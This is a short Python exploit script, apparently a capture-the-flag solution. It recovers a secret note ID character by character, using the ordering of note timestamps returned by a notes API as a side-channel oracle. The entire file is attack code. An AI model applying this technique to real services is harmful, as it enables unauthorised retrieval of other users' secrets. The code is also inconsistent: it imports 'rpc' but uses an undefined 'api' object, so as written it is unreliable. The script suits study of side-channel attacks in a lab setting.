attack.py

import rpc, string

charset = sorted(string.ascii_letters + string.digits)
target = "1528911533" # target note's epoch

key = ['?'] * 128 # actual key length unknown
pos = 0
while pos < len(key):
	found = False
	for i in range(len(charset)):
		# create key attempt using known values + current brute char
		tmp_key = key[:]
		tmp_key[pos] = charset[i]
		tmp_key_str = ''.join(tmp_key).replace('?', charset[0])
		
		# create note with id of key attempt to compare against unknown key 
		api.resetNotes()
		api.createNote('asdf', note_id=tmp_key_str)
		tmp_epoch = api.getNote(tmp_key_str)['epoch']
        
		# use new note's epoch index to detect if next char has been found
		if api.getNotesMetadata()['epochs'][1] == tmp_epoch:
			key[pos] = charset[i - 1]
			pos += 1
			found = True
			print(''.join(key).replace('?', ''))
			break
	if not found:
		print('failed to get next char')
		break